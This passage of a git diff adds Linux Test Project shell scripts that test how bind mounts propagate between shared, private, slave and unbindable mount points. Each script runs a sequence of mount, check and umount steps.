+	fs_bind_check -n parent2/child2/a share2/child2/a
+
+	EXPECT_PASS mount --bind "$FS_BIND_DISK3" parent2/child2/b
+
+	fs_bind_check -n parent2/child2/b share2/child2/b
+	fs_bind_check parent1/child1/b parent2/child2/b share1/b
+
+	EXPECT_PASS umount parent1/child1/a
+	EXPECT_PASS umount parent1/child1/b
+	EXPECT_PASS umount parent2/child2
+	EXPECT_PASS umount parent1/child1
+	EXPECT_PASS umount parent1/child1
+	EXPECT_PASS umount parent1/child1
+	EXPECT_PASS umount share2
+	EXPECT_PASS umount share2
+	EXPECT_PASS umount share1
+	EXPECT_PASS umount share1
+	EXPECT_PASS umount parent1
+	EXPECT_PASS umount parent2
+}
+
+. fs_bind_lib.sh
+tst_run
diff --git a/testcases/kernel/fs/fs_bind/bind/fs_bind04.sh b/testcases/kernel/fs/fs_bind/bind/fs_bind04.sh
new file mode 100755
index 0000000..4c826fb
--- /dev/null
+++ b/testcases/kernel/fs/fs_bind/bind/fs_bind04.sh
@@ -0,0 +1,49 @@
+#!/bin/sh
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (c) International Business Machines  Corp., 2005
+# Copyright (c) 2021 Joerg Vehlow <joerg.vehlow@aox-tech.de>
+# Author: Avantika Mathur (mathurav@us.ibm.com)
+
+FS_BIND_TESTFUNC=test
+
+
+test()
+{
+	tst_res TINFO "bind: shared child to unclonable parent"
+
+	fs_bind_makedir rshared parent1
+	fs_bind_makedir runbindable parent2
+	fs_bind_makedir rshared share1
+	fs_bind_makedir rshared parent1/child1
+
+	EXPECT_PASS mount --bind "$FS_BIND_DISK1" parent1/child1
+
+	mkdir parent2/child2
+
+	EXPECT_PASS mount --bind parent1/child1 share1
+	EXPECT_PASS mount --bind parent1/child1 parent2/child2
+	fs_bind_check parent1/child1 share1 parent2/child2
+
+	EXPECT_PASS mount --bind "$FS_BIND_DISK2" parent1/child1/a
+	fs_bind_check parent1/child1/a parent2/child2/a share1/a
+
+	EXPECT_PASS mount --bind "$FS_BIND_DISK3" parent2/child2/b
+	fs_bind_check parent1/child1/b parent2/child2/b share1/b
+
+	EXPECT_PASS mount --bind "$FS_BIND_DISK4" share1/c
+	fs_bind_check parent1/child1/c parent2/child2/c share1/c
+
+	EXPECT_PASS umount parent1/child1/a
+	EXPECT_PASS umount parent1/child1/b
+	EXPECT_PASS umount parent1/child1/c
+	EXPECT_PASS umount parent2/child2
+	EXPECT_PASS umount parent1/child1
+	EXPECT_PASS umount parent1/child1
+	EXPECT_PASS umount share1
+	EXPECT_PASS umount share1
+	EXPECT_PASS umount parent2
+	EXPECT_PASS umount parent1
+}
+
+. fs_bind_lib.sh
+tst_run
diff --git a/testcases/kernel/fs/fs_bind/bind/fs_bind05.sh b/testcases/kernel/fs/fs_bind/bind/fs_bind05.sh
new file mode 100755
index 0000000..2572ec6
--- /dev/null
+++ b/testcases/kernel/fs/fs_bind/bind/fs_bind05.sh
@@ -0,0 +1,57 @@
+#!/bin/sh
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (c) International Business Machines  Corp., 2005
+# Copyright (c) 2021 Joerg Vehlow <joerg.vehlow@aox-tech.de>
+# Author: Avantika Mathur (mathurav@us.ibm.com)
+
+FS_BIND_TESTFUNC=test
+
+
+test()
+{
+	tst_res TINFO "bind: private child to shared parent"
+
+	fs_bind_makedir rshared parent1
+	fs_bind_makedir rshared parent2
+	fs_bind_makedir rshared share1
+	fs_bind_makedir rshared share2
+	fs_bind_makedir private parent1/child1
+
+	EXPECT_PASS mount --bind parent1 share1
+	EXPECT_PASS mount --bind "$FS_BIND_DISK1" parent1/child1
+	EXPECT_PASS mount --bind parent2 share2
+
+	fs_bind_check -n parent1/child1 share1/child1
+
+	mkdir parent2/child2
+
+	EXPECT_PASS mount --bind parent1/child1 parent2/child2
+	fs_bind_check parent1/child1 parent2/child2 share2/child2
+
+	EXPECT_PASS mount --bind "$FS_BIND_DISK2" parent1/child1/a
+	fs_bind_check -n parent1/child1/a parent2/child2/a
+
+	EXPECT_PASS mount --bind "$FS_BIND_DISK3" parent2/child2/b
+	fs_bind_check -n parent1/child1/b parent2/child2/b
+	fs_bind_check parent2/child2/b share2/child2/b
+
+	EXPECT_PASS mount --bind "$FS_BIND_DISK4" share2/child2/c
+	fs_bind_check -n parent1/child1/b parent2/child2/b
+	fs_bind_check parent2/child2/c share2/child2/c
+
+	EXPECT_PASS umount parent1/child1/a
+	EXPECT_PASS umount parent2/child2/b
+	EXPECT_PASS umount share2/child2/c
+	EXPECT_PASS umount parent2/child2
+	EXPECT_PASS umount parent1/child1
+	EXPECT_PASS umount parent1/child1
+	EXPECT_PASS umount share1
+	EXPECT_PASS umount share1
+	EXPECT_PASS umount share2
+	EXPECT_PASS umount share2
+	EXPECT_PASS umount parent2
+	EXPECT_PASS umount parent1
+}
+
+. fs_bind_lib.sh
+tst_run
diff --git a/testcases/kernel/fs/fs_bind/bind/fs_bind06.sh b/testcases/kernel/fs/fs_bind/bind/fs_bind06.sh
new file mode 100755
index 0000000..004314a
--- /dev/null
+++ b/testcases/kernel/fs/fs_bind/bind/fs_bind06.sh
@@ -0,0 +1,47 @@
+#!/bin/sh
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (c) International Business Machines  Corp., 2005
+# Copyright (c) 2021 Joerg Vehlow <joerg.vehlow@aox-tech.de>
+# Author: Avantika Mathur (mathurav@us.ibm.com)
+
+FS_BIND_TESTFUNC=test
+
+
+test()
+{
+	tst_res TINFO "bind: private child to private parent"
+
+	fs_bind_makedir rshared parent1
+	fs_bind_makedir private parent2
+	fs_bind_makedir rshared share1
+	fs_bind_makedir private parent1/child1
+
+	EXPECT_PASS mount --bind parent1 share1
+	EXPECT_PASS mount --bind "$FS_BIND_DISK1" parent1/child1
+	fs_bind_check -n  parent1/child1 share1/child1
+
+	mkdir parent2/child2
+
+	EXPECT_PASS mount --bind parent1/child1 parent2/child2
+	fs_bind_check parent1/child1 parent2/child2
+
+	EXPECT_PASS mount --bind "$FS_BIND_DISK2" parent1/child1/a
+	fs_bind_check -n  parent1/child1/a parent2/child2/a
+
+	EXPECT_PASS mount --bind "$FS_BIND_DISK3" parent2/child2/b
+	fs_bind_check -n parent1/child1/b parent2/child2/b
+	fs_bind_check -n  parent1/child1 share1/child1
+
+	EXPECT_PASS umount parent1/child1/a
+	EXPECT_PASS umount parent2/child2/b
+	EXPECT_PASS umount parent2/child2
+	EXPECT_PASS umount parent1/child1
+	EXPECT_PASS umount parent1/child1
+	EXPECT_PASS umount share1
+	EXPECT_PASS umount share1
+	EXPECT_PASS umount parent2
+	EXPECT_PASS umount parent1
+}
+
+. fs_bind_lib.sh
+tst_run
diff --git a/testcases/kernel/fs/fs_bind/bind/fs_bind07-2.sh b/testcases/kernel/fs/fs_bind/bind/fs_bind07-2.sh
new file mode 100755
index 0000000..94dc4b1
--- /dev/null
+++ b/testcases/kernel/fs/fs_bind/bind/fs_bind07-2.sh
@@ -0,0 +1,34 @@
+#!/bin/sh
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (c) International Business Machines  Corp., 2005
+# Copyright (c) 2021 Joerg Vehlow <joerg.vehlow@aox-tech.de>
+# Author: Avantika Mathur (mathurav@us.ibm.com)
+
+FS_BIND_TESTFUNC=test
+
+
+test()
+{
+	tst_res TINFO "bind: create slave then mount master - slave still propagates"
+
+	fs_bind_makedir rshared parent2
+	fs_bind_makedir rshared share2
+
+	EXPECT_PASS mount --bind share2 parent2
+	EXPECT_PASS mount --make-slave parent2
+	EXPECT_PASS mount --bind "$FS_BIND_DISK1" share2
+	fs_bind_check parent2 share2
+
+	EXPECT_PASS mount --bind "$FS_BIND_DISK2" parent2/a
+	fs_bind_check -n parent2/a share2/a
+
+	EXPECT_PASS umount parent2/a
+	EXPECT_PASS umount parent2
+	EXPECT_PASS umount parent2
+	EXPECT_PASS umount parent2
+	EXPECT_PASS umount share2
+	EXPECT_PASS umount share2
+}
+
+. fs_bind_lib.sh
+tst_run
diff --git a/testcases/kernel/fs/fs_bind/bind/fs_bind07.sh b/testcases/kernel/fs/fs_bind/bind/fs_bind07.sh
new file mode 100755
index 0000000..08991a9
--- /dev/null
+++ b/testcases/kernel/fs/fs_bind/bind/fs_bind07.sh
@@ -0,0 +1,57 @@
+#!/bin/sh
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (c) International Business Machines  Corp., 2005
+# Copyright (c) 2021 Joerg Vehlow <joerg.vehlow@aox-tech.de>
+# Author: Avantika Mathur (mathurav@us.ibm.com)
+
+FS_BIND_TESTFUNC=test
+
+
+test()
+{
+	tst_res TINFO "bind: private child to slave parent"
+
+	fs_bind_makedir rshared parent1
+	fs_bind_makedir rshared parent2
+	fs_bind_makedir rshared share1
+	fs_bind_makedir rshared share2
+	fs_bind_makedir private parent1/child1
+
+	EXPECT_PASS mount --bind parent1 share1
+	EXPECT_PASS mount --bind "$FS_BIND_DISK1" parent1/child1
+	fs_bind_check -n  parent1/child1 share1/child1
+
+	EXPECT_PASS mount --bind "$FS_BIND_DISK2" share2
+	EXPECT_PASS mount --bind share2 parent2
+	EXPECT_PASS mount --make-rslave parent2
+	mkdir parent2/child2
+	fs_bind_check parent2 share2
+
+	EXPECT_PASS mount --bind parent1/child1 parent2/child2
+	fs_bind_check parent1/child1 parent2/child2
+	fs_bind_check -n parent2/child2 share2/child2
+
+	EXPECT_PASS mount --bind "$FS_BIND_DISK2" parent1/child1/a
+
+	fs_bind_check -n  parent1/child1/a parent2/child2/a
+	EXPECT_PASS mount --bind "$FS_BIND_DISK3" parent2/child2/b
+
+	fs_bind_check -n parent1/child1/b parent2/child2/b
+	fs_bind_check -n  parent1/child1 share1/child1
+
+	EXPECT_PASS umount parent1/child1/a
+	EXPECT_PASS umount parent2/child2/b
+	EXPECT_PASS umount parent2/child2
+	EXPECT_PASS umount parent1/child1
+	EXPECT_PASS umount parent1/child1
+	EXPECT_PASS umount share1
+	EXPECT_PASS umount share1
+	EXPECT_PASS umount share2
+	EXPECT_PASS umount share2
+	EXPECT_PASS umount parent2
+	EXPECT_PASS umount parent2
+	EXPECT_PASS umount parent1
+}
+
+. fs_bind_lib.sh
+tst_run
diff --git a/testcases/kernel/fs/fs_bind/bind/fs_bind08.sh b/testcases/kernel/fs/fs_bind/bind/fs_bind08.sh
new file mode 100755
index 0000000..a1f1a92
--- /dev/null
+++ b/testcases/kernel/fs/fs_bind/bind/fs_bind08.sh
@@ -0,0 +1,48 @@
+#!/bin/sh
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (c) International Business Machines  Corp., 2005
+# Copyright (c) 2021 Joerg Vehlow <joerg.vehlow@aox-tech.de>
+# Author: Avantika Mathur (mathurav@us.ibm.com)
+
+FS_BIND_TESTFUNC=test
+
+
+test()
+{
+	tst_res TINFO "bind: private child to uncloneable parent"
+
+	fs_bind_makedir rshared parent1
+	fs_bind_makedir runbindable parent2
+	fs_bind_makedir rshared share1
+	fs_bind_makedir private parent1/child1
+
+	EXPECT_PASS mount --bind parent1 share1
+	EXPECT_PASS mount --bind "$FS_BIND_DISK1" parent1/child1
+
+	fs_bind_check -n parent1/child1 share1/child1
+
+	mkdir parent2/child2
+
+	EXPECT_PASS mount --bind parent1/child1 parent2/child2
+	fs_bind_check parent1/child1 parent2/child2
+
+	EXPECT_PASS mount --bind "$FS_BIND_DISK2" parent1/child1/a
+	fs_bind_check -n parent1/child1/a parent2/child2/a
+
+	EXPECT_PASS mount --bind "$FS_BIND_DISK3" parent2/child2/b
+	fs_bind_check -n parent1/child1/b parent2/child2/b
+	fs_bind_check -n parent1/child1 share1/child1
+
+	EXPECT_PASS umount parent1/child1/a
+	EXPECT_PASS umount parent2/child2/b
+	EXPECT_PASS umount parent2/child2
+	EXPECT_PASS umount parent1/child1
+	EXPECT_PASS umount parent1/child1
+	EXPECT_PASS umount share1
+	EXPECT_PASS umount share1
+	EXPECT_PASS umount parent2
+	EXPECT_PASS umount parent1
+}
+
+. fs_bind_lib.sh
+tst_run
diff --git a/testcases/kernel/fs/fs_bind/bind/fs_bind09.sh b/testcases/kernel/fs/fs_bind/bind/fs_bind09.sh
new file mode 100755
index 0000000..2dc3f01
--- /dev/null
+++ b/testcases/kernel/fs/fs_bind/bind/fs_bind09.sh
@@ -0,0 +1,57 @@
+#!/bin/sh
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (c) International Business Machines  Corp., 2005
+# Copyright (c) 2021 Joerg Vehlow <joerg.vehlow@aox-tech.de>
+# Author: Avantika Mathur (mathurav@us.ibm.com)
+
+FS_BIND_TESTFUNC=test
+
+
+test()
+{
+	tst_res TINFO "bind: slave child to shared parent"
+
+	fs_bind_makedir rshared parent1
+	fs_bind_makedir rshared parent2
+	fs_bind_makedir rshared share1
+	fs_bind_makedir rshared share2
+	fs_bind_makedir rshared parent1/child1
+
+	EXPECT_PASS mount --bind parent2 share2
+	EXPECT_PASS mount --bind share1 parent1/child1
+	EXPECT_PASS mount --bind "$FS_BIND_DISK1" share1
+	EXPECT_PASS mount --make-rslave parent1/child1
+	fs_bind_check parent1/child1 share1
+
+	mkdir parent2/child2
+	EXPECT_PASS mount --bind parent1/child1 parent2/child2
+	fs_bind_check parent1/child1 parent2/child2
+
+	EXPECT_PASS mount --bind "$FS_BIND_DISK2" parent1/child1/a
+	fs_bind_check -n  parent1/child1/a parent2/child2/a
+	fs_bind_check -n parent1/child1/a share1/a
+
+	EXPECT_PASS mount --bind "$FS_BIND_DISK3" parent2/child2/b
+	fs_bind_check -n parent1/child1/b parent2/child2/b
+	fs_bind_check parent2/child2 share2/child2
+
+	EXPECT_PASS mount --bind "$FS_BIND_DISK4" share1/c
+	fs_bind_check share1/c parent1/child1/c
+	fs_bind_check parent1/child1/c parent2/child2/c
+
+	EXPECT_PASS umount parent1/child1/a
+	EXPECT_PASS umount parent2/child2/b
+	EXPECT_PASS umount share1/c
+	EXPECT_PASS umount parent2/child2
+	EXPECT_PASS umount parent1/child1
+	EXPECT_PASS umount parent1/child1
+	EXPECT_PASS umount parent1/child1
+	EXPECT_PASS umount share1
+	EXPECT_PASS umount share2
+	EXPECT_PASS umount share2
+	EXPECT_PASS umount parent2
+	EXPECT_PASS umount parent1
+}
+
+. fs_bind_lib.sh
+tst_run
diff --git a/testcases/kernel/fs/fs_bind/bind/fs_bind10.sh b/testcases/kernel/fs/fs_bind/bind/fs_bind10.sh
new file mode 100755
index 0000000..ca23622
--- /dev/null
+++ b/testcases/kernel/fs/fs_bind/bind/fs_bind10.sh
@@ -0,0 +1,52 @@
+#!/bin/sh
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (c) International Business Machines  Corp., 2005
+# Copyright (c) 2021 Joerg Vehlow <joerg.vehlow@aox-tech.de>
+# Author: Avantika Mathur (mathurav@us.ibm.com)
+
+FS_BIND_TESTFUNC=test
+
+
+test()
+{
+	tst_res TINFO "bind: slave child to private parent"
+
+	fs_bind_makedir rshared parent1
+	fs_bind_makedir private parent2
+	fs_bind_makedir rshared share1
+	fs_bind_makedir rshared parent1/child1
+
+	EXPECT_PASS mount --bind share1 parent1/child1
+	EXPECT_PASS mount --bind "$FS_BIND_DISK1" share1
+	EXPECT_PASS mount --make-rslave parent1/child1
+	fs_bind_check parent1/child1 share1
+
+	mkdir parent2/child2
+	EXPECT_PASS mount --bind parent1/child1 parent2/child2
+	fs_bind_check parent1/child1 parent2/child2
+
+	EXPECT_PASS mount --bind "$FS_BIND_DISK2" parent1/child1/a
+	fs_bind_check -n  parent1/child1/a parent2/child2/a
+	fs_bind_check -n parent1/child1/a share1/a
+
+	EXPECT_PASS mount --bind "$FS_BIND_DISK3" parent2/child2/b
+	fs_bind_check -n parent1/child1/b parent2/child2/b
+
+	EXPECT_PASS mount --bind "$FS_BIND_DISK4" share1/c
+	fs_bind_check share1/c parent1/child1/c
+	fs_bind_check parent1/child1/c parent2/child2/c
+
+	EXPECT_PASS umount parent1/child1/a
+	EXPECT_PASS umount parent2/child2/b
+	EXPECT_PASS umount share1/c
+	EXPECT_PASS umount parent2/child2
+	EXPECT_PASS umount parent1/child1
+	EXPECT_PASS umount parent1/child1
+	EXPECT_PASS umount parent1/child1
+	EXPECT_PASS umount share1
+	EXPECT_PASS umount parent2
+	EXPECT_PASS umount parent1
+}
+
+. fs_bind_lib.sh
+tst_run
diff --git a/testcases/kernel/fs/fs_bind/bind/fs_bind11.sh b/testcases/kernel/fs/fs_bind/bind/fs_bind11.sh
new file mode 100755
index 0000000..5406cee
--- /dev/null
+++ b/testcases/kernel/fs/fs_bind/bind/fs_bind11.sh
@@ -0,0 +1,63 @@
+#!/bin/sh
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (c) International Business Machines  Corp., 2005
+# Copyright (c) 2021 Joerg Vehlow <joerg.vehlow@aox-tech.de>
+# Author: Avantika Mathur (mathurav@us.ibm.com)
+
+FS_BIND_TESTFUNC=test
+
+
+test()
+{
+	tst_res TINFO "bind: slave child to slave parent"
+
+	fs_bind_makedir rshared parent1
+	fs_bind_makedir rshared parent2
+	fs_bind_makedir rshared share1
+	fs_bind_makedir rshared share2
+	fs_bind_makedir rshared parent1/child1
+
+	EXPECT_PASS mount --bind parent2 share2
+	EXPECT_PASS mount --bind share1 parent1/child1
+	EXPECT_PASS mount --bind "$FS_BIND_DISK1" share1
+	EXPECT_PASS mount --bind "$FS_BIND_DISK2" share2
+	EXPECT_PASS mount --make-rslave parent1/child1
+	EXPECT_PASS mount --make-rslave parent2
+
+	mkdir parent2/child2
+	fs_bind_check parent1/child1 share1
+	fs_bind_check parent2 share2
+
+	EXPECT_PASS mount --bind parent1/child1 parent2/child2
+	fs_bind_check parent1/child1 parent2/child2
+
+	EXPECT_PASS mount --bind "$FS_BIND_DISK3" parent1/child1/a
+	fs_bind_check -n  parent1/child1/a parent2/child2/a
+	fs_bind_check -n parent1/child1/a share1/a
+
+	EXPECT_PASS mount --bind "$FS_BIND_DISK4" parent2/child2/b
+	fs_bind_check -n parent1/child1/b parent2/child2/b
+	fs_bind_check -n parent2/child2 share2/child2
+
+	EXPECT_PASS umount parent2/child2/b
+
+	EXPECT_PASS mount --bind "$FS_BIND_DISK4" share1/c
+	fs_bind_check share1/c parent1/child1/c
+	fs_bind_check parent1/child1/c parent2/child2/c
+
+	EXPECT_PASS umount parent1/child1/a
+	EXPECT_PASS umount share1/c
+	EXPECT_PASS umount parent2/child2
+	EXPECT_PASS umount parent1/child1
+	EXPECT_PASS umount parent1/child1
+	EXPECT_PASS umount parent1/child1
+	EXPECT_PASS umount share1
+	EXPECT_PASS umount share2
+	EXPECT_PASS umount share2
+	EXPECT_PASS umount share2
+	EXPECT_PASS umount parent2
+	EXPECT_PASS umount parent1
+}
+
+. fs_bind_lib.sh
+tst_run
diff --git a/testcases/kernel/fs/fs_bind/bind/fs_bind12.sh b/testcases/kernel/fs/fs_bind/bind/fs_bind12.sh
new file mode 100755
index 0000000..3217092
--- /dev/null
+++ b/testcases/kernel/fs/fs_bind/bind/fs_bind12.sh
@@ -0,0 +1,52 @@
+#!/bin/sh
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (c) International Business Machines  Corp., 2005
+# Copyright (c) 2021 Joerg Vehlow <joerg.vehlow@aox-tech.de>
+# Author: Avantika Mathur (mathurav@us.ibm.com)
+
+FS_BIND_TESTFUNC=test
+
+
+test()
+{
+	tst_res TINFO "bind: slave child to uncloneable parent"
+
+	fs_bind_makedir rshared parent1
+	fs_bind_makedir runbindable parent2
+	fs_bind_makedir rshared share1
+	fs_bind_makedir rshared parent1/child1
+
+	EXPECT_PASS mount --bind share1 parent1/child1
+	EXPECT_PASS mount --bind "$FS_BIND_DISK1" share1
+	EXPECT_PASS mount --make-rslave parent1/child1
+	fs_bind_check parent1/child1 share1
+
+	mkdir parent2/child2
+	EXPECT_PASS mount --bind parent1/child1 parent2/child2
+	fs_bind_check parent1/child1 parent2/child2
+
+	EXPECT_PASS mount --bind "$FS_BIND_DISK2" parent1/child1/a
+	fs_bind_check -n  parent1/child1/a parent2/child2/a
+	fs_bind_check -n parent1/child1/a share1/a
+
+	EXPECT_PASS mount --bind "$FS_BIND_DISK3" parent2/child2/b
+	fs_bind_check -n parent1/child1/b parent2/child2/b
+
+	EXPECT_PASS mount --bind "$FS_BIND_DISK4" share1/c
+	fs_bind_check share1/c parent1/child1/c
+	fs_bind_check parent1/child1/c parent2/child2/c
+
+	EXPECT_PASS umount parent1/child1/a
+	EXPECT_PASS umount parent2/child2/b
+	EXPECT_PASS umount share1/c
+	EXPECT_PASS umount parent2/child2
+	EXPECT_PASS umount parent1/child1
+	EXPECT_PASS umount parent1/child1
+	EXPECT_PASS umount parent1/child1
+	EXPECT_PASS umount parent2
+	EXPECT_PASS umount share1
+	EXPECT_PASS umount parent1
+}
+
+. fs_bind_lib.sh
+tst_run
diff --git a/testcases/kernel/fs/fs_bind/bind/fs_bind13.sh b/testcases/kernel/fs/fs_bind/bind/fs_bind13.sh
new file mode 100755
index 0000000..4ea429f
--- /dev/null
+++ b/testcases/kernel/fs/fs_bind/bind/fs_bind13.sh
@@ -0,0 +1,38 @@
+#!/bin/sh
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (c) International Business Machines  Corp., 2005
+# Copyright (c) 2021 Joerg Vehlow <joerg.vehlow@aox-tech.de>
+# Author: Avantika Mathur (mathurav@us.ibm.com)
+
+FS_BIND_TESTFUNC=test
+
+
+test()
+{
+	tst_res TINFO "bind: uncloneable child to shared parent"
+
+	fs_bind_makedir rshared parent1
+	fs_bind_makedir rshared parent2
+	fs_bind_makedir rshared share1
+	fs_bind_makedir rshared share2
+	fs_bind_makedir runbindable parent1/child1
+
+	EXPECT_PASS mount --bind parent1 share1
+	EXPECT_PASS mount --bind parent2 share2
+	mkdir parent1/child1/x
+	EXPECT_PASS mount --bind "$FS_BIND_DISK1" parent1/child1/x
+	mkdir parent2/child2
+	EXPECT_FAIL mount --bind parent1/child1 parent2/child2
+
+	EXPECT_PASS umount parent1/child1/x
+	EXPECT_PASS umount parent1/child1
+	EXPECT_PASS umount share1
+	EXPECT_PASS umount share1
+	EXPECT_PASS umount share2
+	EXPECT_PASS umount share2
+	EXPECT_PASS umount parent2
+	EXPECT_PASS umount parent1
+}
+
+. fs_bind_lib.sh
+tst_run
diff --git a/testcases/kernel/fs/fs_bind/bind/fs_bind14.sh b/testcases/kernel/fs/fs_bind/bind/fs_bind14.sh
new file mode 100755
index 0000000..1678e3f
--- /dev/null
+++ b/testcases/kernel/fs/fs_bind/bind/fs_bind14.sh
@@ -0,0 +1,34 @@
+#!/bin/sh
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (c) International Business Machines  Corp., 2005
+# Copyright (c) 2021 Joerg Vehlow <joerg.vehlow@aox-tech.de>
+# Author: Avantika Mathur (mathurav@us.ibm.com)
+
+FS_BIND_TESTFUNC=test
+
+
+test()
+{
+	tst_res TINFO "bind: uncloneable child to private parent"
+
+	fs_bind_makedir rshared parent1
+	fs_bind_makedir private parent2
+	fs_bind_makedir rshared share1
+	fs_bind_makedir runbindable parent1/child1
+	mkdir parent1/child1/x
+
+	EXPECT_PASS mount --bind parent1 share1
+	EXPECT_PASS mount --bind "$FS_BIND_DISK1" parent1/child1/x
+	mkdir parent2/child2
+	EXPECT_FAIL mount --bind parent1/child1 parent2/child2
+
+	EXPECT_PASS umount parent1/child1/x
+	EXPECT_PASS umount parent1/child1
+	EXPECT_PASS umount share1
+	EXPECT_PASS umount share1
+	EXPECT_PASS umount parent2
+	EXPECT_PASS umount parent1
+}
+
+. fs_bind_lib.sh
+tst_run
diff --git a/testcases/kernel/fs/fs_bind/bind/fs_bind15.sh b/testcases/kernel/fs/fs_bind/bind/fs_bind15.sh
new file mode 100755
index 0000000..7deb6c0
--- /dev/null
+++ b/testcases/kernel/fs/fs_bind/bind/fs_bind15.sh
@@ -0,0 +1,43 @@
+#!/bin/sh
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (c) International Business Machines  Corp., 2005
+# Copyright (c) 2021 Joerg Vehlow <joerg.vehlow@aox-tech.de>
+# Author: Avantika Mathur (mathurav@us.ibm.com)
+
+FS_BIND_TESTFUNC=test
+
+
+test()
+{
+	tst_res TINFO "bind: uncloneable child to slave parent"
+
+	fs_bind_makedir rshared parent1
+	fs_bind_makedir rshared parent2
+	fs_bind_makedir rshared share1
+	fs_bind_makedir rshared share2
+	fs_bind_makedir runbindable parent1/child1
+	mkdir parent1/child1/x
+
+	EXPECT_PASS mount --bind parent1 share1
+	EXPECT_PASS mount --bind "$FS_BIND_DISK1" parent1/child1/x
+	EXPECT_PASS mount --bind "$FS_BIND_DISK2" share2
+	EXPECT_PASS mount --bind --make-rslave share2 parent2
+
+	fs_bind_check parent2 share2
+
+	mkdir parent2/child2
+	EXPECT_FAIL mount --bind parent1/child1 parent2/child2
+
+	EXPECT_PASS umount parent1/child1/x
+	EXPECT_PASS umount parent1/child1
+	EXPECT_PASS umount share1
+	EXPECT_PASS umount share1
+	EXPECT_PASS umount share2
+	EXPECT_PASS umount share2
+	EXPECT_PASS umount parent2
+	EXPECT_PASS umount parent2
+	EXPECT_PASS umount parent1
+}
+
+. fs_bind_lib.sh
+tst_run
diff --git a/testcases/kernel/fs/fs_bind/bind/fs_bind16.sh b/testcases/kernel/fs/fs_bind/bind/fs_bind16.sh
new file mode 100755
index 0000000..dee3860
--- /dev/null
+++ b/testcases/kernel/fs/fs_bind/bind/fs_bind16.sh
@@ -0,0 +1,35 @@
+#!/bin/sh
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (c) International Business Machines  Corp., 2005
+# Copyright (c) 2021 Joerg Vehlow <joerg.vehlow@aox-tech.de>
+# Author: Avantika Mathur (mathurav@us.ibm.com)
+
+FS_BIND_TESTFUNC=test
+
+
+test()
+{
+	tst_res TINFO "bind: uncloneable child to uncloneable parent"
+
+	fs_bind_makedir rshared parent1
+	fs_bind_makedir runbindable parent2
+	fs_bind_makedir rshared share1
+	fs_bind_makedir runbindable parent1/child1
+	mkdir parent1/child1/x
+
+	EXPECT_PASS mount --bind parent1 share1
+	EXPECT_PASS mount --bind "$FS_BIND_DISK1" parent1/child1/x
+
+	mkdir parent2/child2
+	EXPECT_FAIL mount --bind parent1/child1 parent2/child2
+
+	EXPECT_PASS umount parent1/child1/x
+	EXPECT_PASS umount parent1/child1
+	EXPECT_PASS umount share1
+	EXPECT_PASS umount share1
+	EXPECT_PASS umount parent2
+	EXPECT_PASS umount parent1
+}
+
+. fs_bind_lib.sh
+tst_run
diff --git a/testcases/kernel/fs/fs_bind/bind/fs_bind17.sh b/testcases/kernel/fs/fs_bind/bind/fs_bind17.sh
new file mode 100755
index 0000000..bd7858e
--- /dev/null
+++ b/testcases/kernel/fs/fs_bind/bind/fs_bind17.sh
@@ -0,0 +1,48 @@
+#!/bin/sh
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (c) International Business Machines  Corp., 2005
+# Copyright (c) 2021 Joerg Vehlow <joerg.vehlow@aox-tech.de>
+# Author: Avantika Mathur (mathurav@us.ibm.com)
+
+FS_BIND_TESTFUNC=test
+
+
+test()
+{
+	tst_res TINFO "bind: shared subtree with shared child to shared subtree"
+
+	fs_bind_makedir rshared parent1
+	fs_bind_makedir rshared parent2
+	fs_bind_makedir rshared share1
+
+	EXPECT_PASS mount --bind "$FS_BIND_DISK1" share1
+	EXPECT_PASS mount --bind share1 parent1
+
+	EXPECT_PASS mount --bind parent1 parent2
+	fs_bind_makedir rshared parent1/child1
+	fs_bind_check parent1 share1 parent2
+
+	EXPECT_PASS mount --bind "$FS_BIND_DISK2" parent1/child1
+	fs_bind_check parent1/child1 parent2/child1
+	fs_bind_check parent1/child1 share1/child1
+
+	EXPECT_PASS mount --bind "$FS_BIND_DISK3" parent2/a
+	fs_bind_check parent1/a parent2/a share1/a
+
+	EXPECT_PASS mount --bind "$FS_BIND_DISK4" share1/b
+	fs_bind_check parent1/b parent2/b share1/b
+
+	EXPECT_PASS umount share1/b
+	EXPECT_PASS umount parent2/a
+	EXPECT_PASS umount parent1/child1
+	EXPECT_PASS umount parent1/child1
+	EXPECT_PASS umount parent2
+	EXPECT_PASS umount parent1
+	EXPECT_PASS umount share1
+	EXPECT_PASS umount parent2
+	EXPECT_PASS umount parent1
+	EXPECT_PASS umount share1
+}
+
+. fs_bind_lib.sh
+tst_run
diff --git a/testcases/kernel/fs/fs_bind/bind/fs_bind18.sh b/testcases/kernel/fs/fs_bind/bind/fs_bind18.sh
new file mode 100755
index 0000000..1ce6f16
--- /dev/null
+++ b/testcases/kernel/fs/fs_bind/bind/fs_bind18.sh
@@ -0,0 +1,48 @@
+#!/bin/sh
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (c) International Business Machines  Corp., 2005
+# Copyright (c) 2021 Joerg Vehlow <joerg.vehlow@aox-tech.de>
+# Author: Avantika Mathur (mathurav@us.ibm.com)
+
+FS_BIND_TESTFUNC=test
+
+
+test()
+{
+	tst_res TINFO "bind: shared subtree with shared child to private subtree"
+
+	fs_bind_makedir rshared parent1
+	fs_bind_makedir private parent2
+	fs_bind_makedir rshared share1
+
+	EXPECT_PASS mount --bind "$FS_BIND_DISK1" share1
+	EXPECT_PASS mount --bind share1 parent1
+
+	EXPECT_PASS mount --bind parent1 parent2
+	fs_bind_makedir rshared parent1/child1
+	fs_bind_check parent1 share1 parent2
+
+	EXPECT_PASS mount --bind "$FS_BIND_DISK2" parent1/child1
+	fs_bind_check parent1/child1 parent2/child1
+	fs_bind_check parent1/child1 share1/child1
+
